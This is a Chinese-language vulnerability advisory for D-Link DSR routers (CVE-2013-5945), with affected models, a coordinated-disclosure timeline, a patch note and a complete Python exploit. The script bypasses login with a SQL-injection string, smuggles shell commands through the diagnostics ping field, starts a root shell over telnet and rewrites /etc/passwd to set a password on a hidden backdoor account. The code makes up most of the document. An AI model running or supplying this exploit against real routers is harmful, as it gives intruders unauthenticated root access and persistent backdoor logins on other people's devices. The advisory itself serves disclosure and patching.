D-Link DSR路由器系列产品SQL注入漏洞(CVE-2013-5945)
发布日期：2013-12-03
更新日期：2013-12-12
受影响系统：
D-Link DSR Router DSR-500N
D-Link DSR Router DSR-250N
D-Link DSR Router DSR-150N
D-Link DSR Router DSR-150
D-Link DSR Router DSR-1000N
D-Link DSR Router DSR-1000
D-Link DSR Router D-Link DSR-500
描述：
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BUGTRAQ ID: 64172
CVE(CAN) ID: CVE-2013-5945
D-Link DSR是无线服务路由器产品。
D-Link DSR路由器系列产品在实现上存在SQL注入漏洞，成功利用后可使攻击者控制应用、访问或修改数据、利用下层数据库内的其他漏洞，从而绕过身份验证。
<*来源：nu11.nu11
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/python
#
# CVEs: CVE-2013-5945 - Authentication Bypass by SQL-Injection
# CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution
#
# Vulnerable Routers: D-Link DSR-150 (Firmware < v1.08B44)
# D-Link DSR-150N (Firmware < v1.05B64)
# D-Link DSR-250 and DSR-250N (Firmware < v1.08B44)
# D-Link DSR-500 and DSR-500N (Firmware < v1.08B77)
# D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77)
#
# Likely to work on: D-Link DWC-1000
#
# Download URL: http://tsd.dlink.com.tw
#
# Arch: mips and armv6l, Linux
#
# Author: 0_o -- null_null
# nu11.nu11 [at] yahoo.com
# Oh, and it is n-u-one-one.n-u-one-one, no l's...
# Wonder how the guys at packet storm could get this wrong :(
#
# Date: 2013-08-18
#
# Purpose: Get a non-persistent root shell on your D-Link DSR.
#
# Prerequisites: Network access to the router ports 443 and 23.
# !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!!
#
#
# Coordinated Disclosure -- history and timeline:
#
# 2013-09-12: Informed Heise Security and asked for their support on this case
# 2013-09-13: Informed the manufacturer D-Link via
# http://www.dlink.com/us/en/support/security-advisories/report-vulnerabilities/ (contact form is buggy!)
# http://www.d-link.co.za/contactus/feedback/ (contact request submitted)
# http://www.dlink.com/de/de/contact-d-link (contact form is buggy!)
# mail@dlink.ru (contact request sent)
# info@dlink.ee (contact request sent)
# info@dlink.de (contact request sent)
# 2013-09-14: Informed the German Federal Office for Information Security (BSI) via certbund@bsi.bund.de
# 2013-09-16: D-Link Russia and D-Link Germany claim to have forwarded my request.
# 2013-09-17: German BSI responds, contact established.
# 2013-09-24: Requested CVE-IDs.
# 2013-09-25: Heise responds, contact established.
# 2013-09-27: D-Link asks for details on vulns and the exploit code.
# Mitre assigns two CVEs:
# CVE-2013-5945 -- authentication bypass
# CVE-2013-5946 -- privilege escalation
# 2013-09-30: D-Link has received the exploit and documentation via BSI
# 2013-11-29: Patches are available for the DSR router series via tsd.dlink.com.tw
# DSR-150: Firmware v1.08B44
# DSR-150N: Firmware v1.05B64
# DSR-250 and DSR-250N: Firmware v1.08B44
# DSR-500 and DSR-500N: Firmware v1.08B77
# DSR-1000 and DSR-1000N: Firmware v1.08B77
# 2013-12-03: Public Disclosure
#
# And now - the fun part :-)
#
import httplib
import urllib
import telnetlib
import time
import sys
import crypt
import random
import string
##############################
#
# CHANGE THESE VALUES -- BEGIN
#
# Your router's IP:PORT
ipaddr = "192.168.10.1:443"
# Password to be set (by this hack) on the backdoor account
bdpasswd = "password"
#
# CHANGE THESE VALUES -- END
#
# persistent config file: /tmp/teamf1.cfg.ascii
# Edit this file to make your changes persistent.
#
##############################
cookie = ""
pid = -2
bduser = ""
def request(m = "", u = "", b = "", h = ""):
global ipaddr
conn = httplib.HTTPSConnection(ipaddr, timeout = 15)
assert m in ["GET", "POST"]
conn.request(method = m, url = u, body = b, headers = h)
ret = conn.getresponse()
header = ret.getheaders()
data = ret.read()
conn.close()
return (header, data)
def login(user, passwd):
global ipaddr
headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'User-Agent': "Exploit",
'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",
'Content-Type': "application/x-www-form-urlencoded"}
body = {'thispage' : "index.htm",
'Users.UserName' : user,
'Users.Password' : passwd,
'button.login.Users.deviceStatus' : "Login",
'Login.userAgent' : "Exploit"}
return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)
def logout():
global ipaddr, cookie
headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'User-Agent': "Exploit",
'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",
'Content-Type': "application/x-www-form-urlencoded"}
body = ""
return request("GET", "/scgi-bin/platform.cgi?page=index.htm", urllib.urlencode(body), headers)
def execCmd(cmd = None):
global ipaddr, cookie
assert cmd != None
headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'User-Agent': "Exploit",
'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi?page=systemCheck.htm",
'Cookie': cookie,
'Content-Type': "application/x-www-form-urlencoded"}
body = {'thispage' : "systemCheck.htm",
'ping.ip' : "localhost;" + cmd,
'button.traceroute.diagDisplay' : "Traceroute"}
return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)
def findPid(mystr = None):
# " 957 root 2700 S /usr/sbin/telnetd -l /bin/login"
assert mystr != None
mypid = 0
(h, d) = execCmd(cmd = "ps|grep telnetd|grep -v grep");
s = d.find(mystr)
if s > 0:
# telnetd is running
cand = d[s - 50 : s]
try:
mypid = int(cand.split("\n")[1].split()[0])
except IndexError:
mypid = int(cand.split(">")[1].split()[0])
return mypid
def restartTelnetd(mystr1 = None, mystr2 = None):
assert mystr1 != None and mystr2 != None
global pid
pid = findPid("telnetd -l /bin/")
if pid > 0:
# Stopping the running telnetd
print "[+] Stopping telnetd (" + str(pid) + "): ",
sys.stdout.flush()
(h, d) = execCmd("kill " + str(pid))
pid = findPid(mystr1)
if pid > 0:
print "FAILURE"
sys.exit(-1)
else:
print "OK"
# Starting a new telnetd
print "[+] Starting telnetd: ",
sys.stdout.flush()
(h, d) = execCmd("telnetd -l " + mystr2)
pid = findPid("telnetd -l " + mystr2)
if pid > 0:
print "OK (" + str(pid) + ")"
else:
print "FAILURE"
sys.exit(-1)
def main():
global ipaddr, cookie, pid, bduser, bdpasswd
user = "admin"
passwd = "' or 'a'='a"
print "\n\nPrivilege Escalation exploit for D-Link DSR-250N (and maybe other routers)"
print "This change is non-persistent to device reboots."
print "Created and coded by 0_o (nu11.nu11 [at] yahoo.com)\n\n"
# Logging into the router
print "[+] Trying to log into the router: ",
sys.stdout.flush()
(h, d) = login(user, passwd)
if d.find("User already logged in") > 0:
print "FAILURE"
print "[-] The user \"admin\" is still logged in. Please log out from your current session first."
sys.exit(-1)
elif d.find('<a href="?page=index.htm">Logout</a>') > 0:
while h:
(c1, c2) = h.pop()
if c1 == 'set-cookie':
cookie = c2
break
print "OK (" + cookie + ")"
elif d.find("Invalid username or password") > 0:
print "FAILURE"
print "[-] Invalid username or password"
sys.exit(-1)
else:
print "FAILURE"
print "[-] Unable to login."
sys.exit(-1)
# Starting a telnetd with custom parameters
print "[+] Preparing the hack..."
restartTelnetd("/bin/login", "/bin/sh")
# Do the h4cK
print "[+] Hacking the router..."
print "[+] Getting the backdoor user name: ",
sys.stdout.flush()
tn = telnetlib.Telnet(ipaddr.split(":")[0])
tn.read_very_eager()
tn.write("cat /etc/profile\n")
time.sleep(5)
data = tn.read_very_eager()
for i in data.split("\n"):
if i.find('"$USER"') > 0:
bduser = i.split('"')[3]
break
if len(bduser) > 0:
print "OK (" + bduser + ")"
else:
print "FAILURE"
sys.exit(-1)
print "[+] Setting the new password for " + bduser + ": ",
sys.stdout.flush()
tn.write("cat /etc/passwd\n")
time.sleep(5)
data = tn.read_very_eager()
data = data.split("\n")
data.reverse()
data.pop()
data.reverse()
data.pop()
data = "\n".join(data)
for i in data.split("\n"):
if i.find(bduser) >= 0:
line = i.split(':')
s1 = string.lowercase + string.uppercase + string.digits
salt = ''.join(random.sample(s1,2))
pw = crypt.crypt(bdpasswd, salt)
line[1] = pw
# doesn't work for some odd reason -- too lazy to find out why
#salt = ''.join(random.sample(s1,8))
#line[1] = crypt.crypt(bdpasswd, '$1$' + salt + '$')
data = data.replace(i, ":".join(line))
break
tn.write('echo -en "" > /etc/passwd\n')
time.sleep(5)
for i in data.split("\n"):
tn.write('echo -en \'' + i + '\n\' >> /etc/passwd\n')
time.sleep(1)
data = tn.read_very_eager()
tn.close()
if data.find(pw) >= 0:
print "OK (" + pw + ")"
success = True
else:
print "FAILURE"
print "[-] Could not set the new password."
sys.exit(-1)
# Switching back to the originals
print "[+] Mobbing up..."
restartTelnetd("/bin/sh", "/bin/login")
# Logging out
print "[+] Logging out: ",
sys.stdout.flush()
(h, d) = logout()
if d.find('value="Login"') > 0:
print "OK"
else:
print "FAILURE"
print "[-] Unable to determine if user is logged out."
# Print success message
if success:
print "[+] You can now log in via SSH and Telnet by using:"
print " user: " + bduser
print " pass: " + bdpasswd
print " These changes will be reverted upon router reboot."
print " Edit \"/tmp/teamf1.cfg.ascii\" to make your changes persistent."
main()
sys.exit(0)
建议：
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厂商补丁：
D-Link
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
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